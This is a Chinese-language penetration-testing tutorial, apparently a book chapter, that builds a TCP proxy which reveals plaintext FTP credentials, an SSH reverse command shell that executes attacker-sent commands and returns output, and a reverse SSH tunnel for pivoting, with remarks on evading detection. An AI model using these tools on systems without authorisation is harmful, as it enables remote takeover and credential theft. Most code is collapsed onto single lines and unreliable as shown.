构建TCP代理
拥有TCP代理的好处有很多。您可能会用它来转发流量以从主机到主机弹跳,或者在评估基于网络的软件时使用它。在企业环境中进行渗透测试时,您可能无法运行Wireshark;也无法加载驱动程序来嗅探Windows的回环,并且网络分割将防止您直接针对目标主机运行工具。
我们在各种情况下都构建了简单的Python代理,例如此处,以帮助您理解未知的协议,修改发送到应用程序的流量并为Fuzzers创建测试用例。 代理有一些移动部分。让我们总结一下我们需要编写的四个主要函数。我们需要在控制台上显示本地和远程计算机之间的通信(hexdump)。我们需要从本地或远程计算机的传入套接字接收数据(receive_from)。我们需要管理远程和本地计算机之间的流量方向(proxy_handler)。最后,我们需要设置一个侦听套接字并将其传递给我们的proxy_handler(server_loop)。 让我们开始吧。打开一个名为proxy.py的新文件:
import sysimport socketimport threadingHEX_FILTER = ''.join([(len(repr(chr(i))) == 3) and chr(i) or '.' for i in range(256)])def hexdump(src, length=16, show=True): if isinstance(src, bytes): src = src.decode() results = list() for i in range(0, len(src), length): word = str(src[i:i+length]) printable = word.translate(HEX_FILTER) hexa = ' '.join([f'{ord(c):02X}' for c in word]) hexwidth = length*3 results.append(f'{i:04x} {hexa:<{hexwidth}} {printable}') if show: for line in results: print(line) else: return results
我们从几个import开始。然后定义一个hexdump函数,它以字节或字符串的形式获取一些输入并打印十六进制转储到控制台。也就是说,它将输出具有十六进制值和ASCII可打印字符的数据包详细信息。这对于理解未知协议,在纯文本协议中查找用户凭据等非常有用。我们创建一个HEXFILTER字符串1,其中包含ASCII可打印字符(如果存在),或点(.)(如果不存在这样的表示)。为了举例说明该字符串可能包含什么内容,让我们查看两个整数30和65在交互式Python shell中的字符表示:
>>>chr(65)
'A'
chr(30)
'x1e'
>>>len(repr(chr(65)))
3
>>>len(repr(chr(30)))
6
根据上文所述,字符“65”的表示形式是可打印的,表示形式为“30”的字符不是可打印的。可打印字符的表示形式长度为3,而不可打印字符的表示形式长度为6。因此,我们使用这个事实创建最终的HEXFILTER字符串:如果可能提供字符并使用点号(.)表示,否则使用点号(.)。
这个列表解析使用了布尔短路技巧,听起来很高级。让我们来分解一下:对于范围在0到255之间的每个整数,如果相应字符的长度等于3,我们就获得该字符(chr(i))。否则,我们获得一个点(.)。然后,我们将该列表连接成一个字符串,使其看起来像这样:
'…………………………..
!"#$%&'()*+,-./0123456789:;<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[.]^_`abcdefghijklmnopqrstuvwxyz{|
}~…………………………….¡¢£¤¥¦§¨©ª«¬.®¯°±²³
´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïð
ñòóôõö÷øùúûüýþÿ'
列表推导式给出了前256个整数的可打印字符表示。现在我们可以创建hexdump函数。首先,我们确保我们有一个字符串,如果传递的是字节字符串,则对其进行解码2。然后,我们获取要转储的字符串片段并将其放入word变量3中。我们使用translate内置函数将每个字符的字符串表示替换为原始字符串(可打印)中相应的字符4。同样,我们用每个字符的整数值的十六进制表示(hexa)替换原始字符串中的每个字符。最后,我们创建一个新的数组来保存字符串result,该数组包含第一个字节的索引的十六进制值,word的十六进制值以及其可打印表示5。输出如下所示:
hexdump('python rocksn and proxies rolln')
0000 70 79 74 68 6F 6E 20 72 6F 63 6B 73 0A 20 61 6E
python rocks. an
0010 64 20 70 72 6F 78 69 65 73 20 72 6F 6C 6C 0A d
proxies roll.
这个函数提供了一种实时监视通过代理进行通信的方式。现在让我们创建一个函数,代理的两端都将使用它来接收数据:
def receive_from(connection): buffer = b"" connection.settimeout(5) try: while True: data = connection.recv(4096) if not data: break buffer += data except Exception as e: pass return buffer
为了接收本地和远程数据,我们传入要使用的套接字对象。我们创建一个空的字节串buffer,用于从套接字累积响应数据1。默认情况下,我们设置五秒的超时时间,如果您正在代理流量到其他国家或丢包网络上,则可能过于激进,因此根据需要增加超时时间。我们设置一个循环来读取响应数据到缓冲区2,直到没有更多的数据或者超时。最后,我们将缓冲区字节串返回给调用者,这可以是本地或远程机器。
有时候,在代理发送请求或响应数据之前,你可能想修改它们。让我们添加两个函数(request_handler和response_handler)来完成这个任务:
def request_handler(buffer): # 执行数据包修改 return bufferdef response_handler(buffer): # 执行数据包修改 return buffer
在这些函数中,你可以修改数据包的内容,执行模糊测试任务,测试身份验证问题,或者做任何你想要的事情。例如,如果你发现明文用户凭据正在被发送,想尝试通过输入管理员的凭据而不是你自己的用户名来提升应用程序的特权,那么这将非常有用。
让我们通过添加以下代码来深入了解 proxy_handler 函数:
def proxy_handler(client_socket, remote_host, remote_port, receive_first): remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote_socket.connect((remote_host, remote_port)) if receive_first: remote_buffer = receive_from(remote_socket) hexdump(remote_buffer) remote_buffer = response_handler(remote_buffer) if len(remote_buffer): print("[<==] Sending %d bytes to localhost." % len(remote_buffer)) client_socket.send(remote_buffer) while True: local_buffer = receive_from(client_socket) if len(local_buffer): line = "[==>] Received %d bytes from localhost." % len(local_buffer) print(line) hexdump(local_buffer) local_buffer = request_handler(local_buffer) remote_socket.send(local_buffer) print("[==>] Sent to remote.") remote_buffer = receive_from(remote_socket) if len(remote_buffer): print("[<==] Received %d bytes from remote." % len(remote_buffer)) hexdump(remote_buffer) remote_buffer = response_handler(remote_buffer) client_socket.send(remote_buffer) print("[<==] Sent to localhost.") if not len(local_buffer) or not len(remote_buffer): client_socket.close() remote_socket.close() print("[*] No more data. Closing connections.") break
这个函数包含了我们的代理的大部分逻辑。首先,我们连接到远程主机1。然后,我们检查是否需要首先建立与远程端的连接并请求数据,然后才进入主循环2。有些服务器守护进程希望你这样做(例如,FTP服务器通常会首先发送一个欢迎信息)。然后,我们使用receive_from函数接收通信双方的数据。它接受一个已连接的套接字对象并执行接收操作。我们将数据包的内容转储出来,以便检查其中是否有任何有趣的内容。
接下来,我们将输出交给response_handler函数3,然后将接收到的缓冲区发送到本地客户端。其余的代理代码很简单:我们设置循环以不断从本地客户端读取、处理数据,将其发送到远程客户端,从远程客户端读取、处理数据,并将其发送到本地客户端,直到我们不再检测到任何数据。当连接的任何一侧没有数据可以发送时4,我们关闭本地和远程套接字,并退出循环。
让我们编写server_loop函数来设置和管理连接:
def server_loop(local_host, local_port, remote_host, remote_port, receive_first): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 1 try: server.bind((local_host, local_port)) 2 except Exception as e: print('绑定发生问题:%r' % e) print("[!!] 监听 %s:%d 失败" % (local_host, local_port)) print("[!!] 检查是否存在其他监听套接字或权限正确") sys.exit(0) print("[*] 监听 %s:%d" % (local_host, local_port)) server.listen(5) while True: 3 client_socket, addr = server.accept() # 打印本地连接信息 line = "> 接收到来自 %s:%d 的连接" % (addr[0], addr[1]) print(line) # 启动一个线程与远程主机通信 proxy_thread = threading.Thread( target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first)) proxy_thread.start()
函数 server_loop 创建了一个 socket 对象 1 并绑定到本地主机并进行监听 2。在主循环中 3,当有新的连接请求到来时,我们会在一个新的线程中将其交给 proxy_handler 处理 4,它负责在数据流的任一端进行发送和接收敏感信息。
唯一还需要编写的部分是main主函数:
def main(): if len(sys.argv[1:]) != 5: print("Usage: ./proxy.py [localhost] [localport]", end='') print("[remotehost] [remoteport] [receive_first]") print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True") sys.exit(0) local_host = sys.argv[1] local_port = int(sys.argv[2]) remote_host = sys.argv[3] remote_port = int(sys.argv[4]) receive_first = sys.argv[5] if "True" in receive_first: receive_first = True else: receive_first = False server_loop(local_host, local_port, remote_host, remote_port, receive_first)if __name__ == '__main__': main()
在主函数中,我们接收一些命令行参数,然后启动监听连接的服务器循环。
接下来,让我们针对FTP服务器测试核心代理循环和支持函数。使用以下选项启动代理:
tim@kali: sudo python proxy.py 192.168.1.203 21
ftp.sun.ac.za 21 True
这里我们使用sudo是因为端口21是特权端口,所以在上面监听需要管理或root权限。现在启动任何FTP客户端并将其设置为使用localhost和端口21作为其远程主机和端口。当然,您将想将代理指向实际会响应您的FTP服务器。当我们针对测试FTP服务器运行此命令时,我们得到了以下结果:
[*] Listening on 192.168.1.203:21> Received incoming connection from 192.168.1.203:47360[<==] Received 30 bytes from remote.0000 32 32 30 20 57 65 6C 63 6F 6D 65 20 74 6F 20 66 220Welcome to f0010 74 70 2E 73 75 6E 2E 61 63 2E 7A 61 0D 0A tp.sun.ac.za..0000 55 53 45 52 20 61 6E 6F 6E 79 6D 6F 75 73 0D 0A USERanonymous..0000 33 33 31 20 50 6C 65 61 73 65 20 73 70 65 63 69 331Please speci0010 66 79 20 74 68 65 20 70 61 73 73 77 6F 72 64 2E fythe password.0020 0D 0A ..0000 50 41 53 53 20 73 65 6B 72 65 74 0D 0A PASSsekret..0000 32 33 30 20 4C 6F 67 69 6E 20 73 75 63 63 65 73 230Login succes0010 73 66 75 6C 2E 0D 0A sful...[==>] Sent to local.[<==] Received 6 bytes from local.0000 53 59 53 54 0D 0A SYST..0000 32 31 35 20 55 4E 49 58 20 54 79 70 65 3A 20 4C 215UNIX Type: L0010 38 0D 0A 8..[<==] Received 28 bytes from local.0000 50 4F 52 54 20 31 39 32 2C 31 36 38 2C 31 2C 32 PORT192,168,1,20010 30 33 2C 31 38 37 2C 32 32 33 0D 0A 03,187,223..0000 32 30 30 20 50 4F 52 54 20 63 6F 6D 6D 61 6E 64 200PORT command0010 20 73 75 63 63 65 73 73 66 75 6C 2E 20 43 6F 6E successful. Con0020 73 69 64 65 72 20 75 73 69 6E 67 20 50 41 53 56 siderusing PASV0030 2E 0D 0A ...[<==] Received 6 bytes from local.0000 4C 49 53 54 0D 0A LIST..[<==] Received 63 bytes from remote.0000 31 35 30 20 48 65 72 65 20 63 6F 6D 65 73 20 74 150Here comes t0010 68 65 20 64 69 72 65 63 74 6F 72 79 20 6C 69 73 hedirectory lis0020 74 69 6E 67 2E 0D 0A 32 32 36 20 44 69 72 65 63 ting...226 Direc0030 74 6F 72 79 20 73 65 6E 64 20 4F 4B 2E 0D 0A torysend OK...0000 50 4F 52 54 20 31 39 32 2C 31 36 38 2C 31 2C 32 PORT192,168,1,20010 30 33 2C 32 31 38 2C 31 31 0D 0A 03,218,11..0000 32 30 30 20 50 4F 52 54 20 63 6F 6D 6D 61 6E 64 200PORT command0010 20 73 75 63 63 65 73 73 66 75 6C 2E 20 43 6F 6E successful. Con0020 73 69 64 65 72 20 75 73 69 6E 67 20 50 41 53 56 siderusing PASV0030 2E 0D 0A ...0000 51 55 49 54 0D 0A QUIT..[==>] Sent to remote.0000 32 32 31 20 47 6F 6F 64 62 79 65 2E 0D 0A 221Goodbye...[==>] Sent to local.[*] No more data. Closing connections. The server responds with "200 PORT command okay." indicating t
在Kali机器的另一个终端中,我们使用默认端口21开始了一个FTP会话到Kali机器的IP地址:
tim@kali:$ ftp 192.168.1.203Connected to 192.168.1.203.220 Welcome to ftp.sun.ac.zaName (192.168.1.203:tim): anonymous331 Please specify the password.Password:230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> ls200 PORT command successful. Consider using PASV.150 Here comes the directory listing.lrwxrwxrwx 1 1001 1001 48 Jul 17 2008 CPAN-> pub/mirrors/ftp.funet.fi/pub/languages/perl/CPANlrwxrwxrwx 1 1001 1001 21 Oct 21 2009 CRAN-> pub/mirrors/ubuntu.comdrwxr-xr-x 2 1001 1001 4096 Apr 03 2019 veeamdrwxr-xr-x 6 1001 1001 4096 Jun 27 2016win32InetKeyTeraTerm226 Directory send OK.ftp> bye221 Goodbye.
你可以清楚地看到我们能够成功地接收FTP横幅并输入用户名和密码,并且它干净地退出。
使用 Paramiko 进行 SSH 连接
使用 BHNET 进行转发虽然很方便,但有时为了避免被检测,最好对流量进行加密。一个常见的方法是使用安全外壳协议(SSH)来隧道传输。但是如果你的目标没有 SSH 客户端,就像 99.81943% 的 Windows 系统一样,怎么办?
虽然 Windows 有很好的 SSH 客户端(如 PuTTY),但本书是关于 Python 的。在 Python 中,你可以使用原始套接字和一些加密魔法来创建自己的 SSH 客户端或服务器,但为什么要创造呢,当你可以重用呢?Paramiko 使用 PyCrypto,可以简单地访问 SSH2 协议。
为了了解这个库是如何工作的,我们将使用 Paramiko 来连接并在 SSH 系统上运行命令,配置 SSH 服务器和 SSH 客户端在 Windows 机器上运行远程命令,最后研究 Paramiko 中包含的反向隧道演示文件,以复制 BHNET 的代理选项。让我们开始吧。
首先,使用 pip 安装程序(或从 ***/ 下载)获取 Paramiko。
pip install paramiko
我们稍后将使用一些演示文件,所以确保您也从Paramiko GitHub仓库(***/paramiko/paramiko/)下载它们。
创建一个名为ssh_cmd.py的新文件并输入以下内容:
import paramikodef ssh_command(ip, port, user, passwd, cmd): #1 client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #2 client.connect(ip, port=port, username=user, password=passwd) _, stdout, stderr = client.exec_command(cmd) #3 output = stdout.readlines() + stderr.readlines() if output: print('--- Output ---') for line in output: print(line.strip())if __name__ == '__main__': import getpass #4 # user = getpass.getuser() user = input('Username: ') password = getpass.getpass() ip = input('Enter server IP: ') or '192.168.1.203' port = input('Enter port or <CR>: ') or 2222 cmd = input('Enter command or <CR>: ') or 'id' ssh_command(ip, port, user, password, cmd) #5
我们创建了一个名为ssh_command1的函数,它连接到一个SSH服务器并运行单个命令。请注意,Paramiko支持使用密钥进行身份验证,而不是(或除了)密码身份验证。在实际的工作中,您应该使用SSH密钥身份验证,但是为了方便起见,在本例中,我们将坚持传统的用户名和密码身份验证。
因为我们控制了这个连接的两端,所以我们设置策略以接受我们要连接到的SSH服务器的SSH密钥2,并建立连接。假设连接已经建立,我们运行我们在调用ssh_command函数时传递的命令3。然后,如果命令产生输出,我们打印输出的每一行。
在主要代码块中,我们使用了一个新的模块getpass4。您可以使用它从当前环境中获取用户名,但由于我们在两台机器上的用户名不同,因此我们明确要求在命令行上输入用户名。然后,我们使用getpass函数请求密码(响应不会显示在控制台上,以防止任何肩部观察者)。然后我们获取要执行的IP、端口和命令(cmd)并将其发送到执行5。
让我们通过连接到我们的Linux服务器进行快速测试:
% python ssh_cmd.py
Username: tim
Password:
Enter server IP: 192.168.1.203
Enter port or <CR>: 22
Enter command or <CR>: id
— Output —
uid=1000(tim) gid=1000(tim) groups=1000(tim),27(sudo)
您会看到我们连接并运行了命令。您可以轻松修改此脚本以在SSH服务器上运行多个命令,或在多个SSH服务器上运行命令。
在完成基本设置之后,让我们修改脚本以便能够通过 SSH 在 Windows 客户端上运行命令。当然,在使用 SSH 时,通常使用 SSH 客户端连接到 SSH 服务器,但是由于大多数版本的 Windows 没有内置 SSH 服务器,因此我们需要颠倒这种情况,从 SSH 服务器向 SSH 客户端发送命令。
创建一个名为ssh_rcmd.py的新文件,并输入以下内容:
import paramikoimport shleximport subprocessdef ssh_command(ip, port, user, passwd, command): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, port=port, username=user, password=passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.send(command) print(ssh_session.recv(1024).decode()) while True: command = ssh_session.recv(1024) #1 try: cmd = command.decode() if cmd == 'exit': client.close() break cmd_output = subprocess.check_output(shlex.split(cmd), shell=True)#2 ssh_session.send(cmd_output or 'okay')#3 except Exception as e: ssh_session.send(str(e)) client.close() returnif __name__ == '__main__': import getpass user = getpass.getuser() password = getpass.getpass() ip = input('Enter server IP: ') port = input('Enter port: ') ssh_command(ip, port, user, password, 'ClientConnected')#4
程序与上一个示例类似,在 while True: 循环中开始新的操作。在这个循环中,我们从连接中获取命令 1,执行命令 2,并将任何输出发送回调用者 3。 此外,请注意,我们发送的第一个命令是 ClientConnected 4。当我们创建SSH连接的另一端时,你将看到原因。
现在让我们编写一个程序为我们的SSH客户端创建一个SSH服务器(我们将在其中运行命令)。这可以是安装有Python和Paramiko的Linux、Windows或甚至macOS系统。创建一个名为ssh_server.py的新文件,输入以下内容:
import osimport paramikoimport socketimport sysimport threadingCWD = os.path.dirname(os.path.realpath(__file__))HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))#1class Server(paramiko.ServerInterface):#2 def __init__(self): self.event = threading.Event() def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self, username, password): if (username == 'tim') and (password == 'sekret'): return paramiko.AUTH_SUCCESSFULif __name__ == '__main__': server = '192.168.1.207' ssh_port = 2222 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((server, ssh_port))#3 sock.listen(100) print('[+] Listening for connection ...') client, addr = sock.accept() except Exception as e: print('[-] Listen failed: ' + str(e)) sys.exit(1) else: print('[+] Got a connection!', client, addr) bhSession = paramiko.Transport(client)#4 bhSession.add_server_key(HOSTKEY) server = Server() bhSession.start_server(server=server) chan = bhSession.accept(20) if chan is None: print('*** No channel.') sys.exit(1) print('[+] Authenticated!')#5 print(chan.recv(1024))#6 chan.send('Welcome to bh_ssh') try: while True: command = input("Enter command: ") if command != 'exit': chan.send(command) r = chan.recv(8192) print(r.decode()) else: chan.send('exit') print('exiting') bhSession.close() break except KeyboardInterrupt: bhSession.close()
这个例子中,我们使用了Paramiko演示文件中包含的SSH密钥1。我们像本章早些时候一样启动套接字监听器3,然后将其"SSH化"2并配置身份验证方法4。当客户端通过身份验证5并向我们发送了ClientConnected消息6之后,我们在SSH服务器(运行ssh_server.py的计算机)中键入的任何命令都会被发送到SSH客户端(运行ssh_rcmd.py的计算机)并在SSH客户端上执行,然后将输出返回到SSH服务器。让我们试一下。
在这个演示中,我们将在我们(作者)的 Windows 计算机上运行客户端,而在 Mac 上运行服务器。我们先启动服务器:
% python ssh_server.py
[+] Listening for connection …
现在,在 Windows 计算机上,我们启动客户端:
C:Userstim>: $ python ssh_rcmd.py
Password:
Welcome to bh_ssh
回到服务器,我们可以看到连接已经建立:
[+] Got a connection! from ('192.168.1.208', 61852)
[+] Authenticated!
ClientConnected
Enter command: whoami
desktop-cc91n7itim
Enter command: ipconfig
Windows IP Configuration
<snip>
可以看到客户端已经成功连接,我们运行了一些命令。在 SSH 客户端中我们看不到任何东西,但我们发送的命令在客户端上执行,并将输出发送回我们的 SSH 服务器。
SSH隧道技术
在上一节中,我们构建了一个工具,允许我们通过在远程SSH服务器上输入命令来运行它们。另一种技术是使用SSH隧道。SSH隧道不会将命令发送到服务器,而是将网络流量打包在SSH中发送,并由SSH服务器解包和传递它。
想象一下以下情况:您可以远程访问内部网络上的SSH服务器,但您想要访问同一网络上的Web服务器。您无法直接访问Web服务器,但安装有SSH的服务器可以访问Web服务器,但此SSH服务器没有您想要使用的工具。.
一种克服这个问题的方法是设置一个 SSH 转发隧道。这将使您可以例如运行命令 ssh -L 8008:web:80 justin@sshserver 以用户 justin 的身份连接到 SSH 服务器并在本地系统上设置端口 8008。您发送到端口 8008 的任何内容都将沿着现有的 SSH 隧道传输到 SSH 服务器,后者将其传递到 Web 服务器。下图展示了这种情况的示例。
这很酷,但请记住,并非所有Windows系统都运行着SSH服务器服务。但不要失望,我们可以配置一个反向SSH隧道连接。在这种情况下,我们像往常一样从Windows客户端连接到自己的SSH服务器。通过该SSH连接,我们还指定了一个在SSH服务器上远程端口,它会被隧道传输到本地主机和端口,如图2-2所示。我们可以使用此本地主机和端口,例如公开端口3389以使用远程桌面访问内部系统,或访问Windows客户端可以访问的另一个系统(例如我们示例中的Web服务器)。
Paramiko演示文件包括一个名为rforward.py的文件,它可以完美地执行此操作,因此我们不会在本书中重复打印该文件。但是,我们将指出一些重要的要点并演示如何使用它。打开rforward.py,跳转到main(),并跟随以下步骤:
def main(): options, server, remote = parse_options() #1 password = None if options.readpass: password = getpass.getpass('Enter SSH password: ') client = paramiko.SSHClient() #2 client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.WarningPolicy()) verbose('Connecting to ssh host %s:%d ...' % (server[0],server[1])) try: client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile, look_for_keys=options.look_for_keys, password=password ) except Exception as e: print('*** Failed to connect to %s:%d: %r' %(server[0], server[1], e)) sys.exit(1) verbose( 'Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]) ) try: reverse_forward_tunnel( options.port, remote[0], remote[1], client.get_transport() )#3 except KeyboardInterrupt: print('C-c: Port forwarding stopped.') sys.exit(0)
上面的几行代码 1 会仔细检查在建立Paramiko SSH客户端连2接之前是否传递了所有必要的参数(这应该很熟悉)。 main()函数中的最后一个部分调用了reverse_forward_tunnel函数 3。
让我们看看这个函数:
def reverse_forward_tunnel(server_port, remote_host,remote_port, transport): transport.request_port_forward('', server_port)#1 while True: chan = transport.accept(1000)#2 if chan is None: continue thr = threading.Thread( target=handler, args=(chan, remote_host, remote_port)#3 ) thr.setDaemon(True) thr.start()
在Paramiko中,有两种主要的通信方法:transport(传输),负责建立和维护加密连接;channel(通道),像socket一样用于在加密传输会话中发送和接收数据。在这里,我们开始使用Paramiko的request_port_forward来将TCP连接从SSH服务器上的一个端口1转发,并启动一个新的传输通道2。然后,在通道上,我们调用函数handler3。
但我们还没有完成。我们需要编写handler函数来管理每个线程的通信:
scssCopy codedef handler(chan, host, port): sock = socket.socket() try: sock.connect((host, port)) except Exception as e: verbose('Forwarding request to %s:%d failed: %r' % (host, port, e)) return verbose('Connected! Tunnel open %r -> %r -> %r' % (chan.origin_addr, chan.getpeername(), (host, port))) while True: r, w, x = select.select([sock, chan], [], []) if sock in r: data = sock.recv(1024) if len(data) == 0: break chan.send(data) if chan in r: data = chan.recv(1024) if len(data) == 0: break sock.send(data) chan.close() sock.close() verbose('Tunnel closed from %r' % (chan.origin_addr,))
好的,接下来我们试着运行一下这个程序!
我们将从我们的Windows系统运行rforward.py,并将其配置为中间人,以将流量从Web服务器隧道传输到我们的Kali SSH服务器:
C: Users tim>python rforward.py 192.168.1.203 -p 8081 -r
192.168.1.207:3000 –user = tim –password
输入SSH密码:
连接到ssh主机192.168.1.203:22……
现在将远程端口8081转发到192.168.1.207:3000……
您可以看到在Windows机器上,我们连接到了192.168.1.203的SSH服务器,并在该服务器上打开了端口8081,该端口将转发到192.168.1.207端口3000的流量。现在,如果我们浏览到我们的Linux服务器上的http://127.0.0.1:8081,我们通过SSH隧道连接到了192.168.1.207:3000上的Web服务器,下图所示。
上图为反向SSH隧道示例
如果你回到Windows机器上,你也可以在Paramiko中看到连接的建立:
Connected! Tunnel open ('127.0.0.1', 54690) -> ('192.168.1.203', 22) -> ('192.168.1.207', 3000)
SSH和SSH隧道是理解和使用的重要概念。黑客应该知道何时以及如何使用SSH和SSH隧道,而Paramiko使得将SSH功能添加到现有的Python工具变得可能。
在本文中,我们创建了一些非常简单但非常有用的工具。我们鼓励您根据需要扩展和修改它们,以便全面掌握Python的网络功能。您可以在渗透测试、后渗透或漏洞猎捕中使用这些工具。接下来,让我们继续使用原始套接字进行网络嗅探。然后,我们将两者结合起来创建一个纯Python主机发现扫描程序。
声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:dandanxi6@qq.com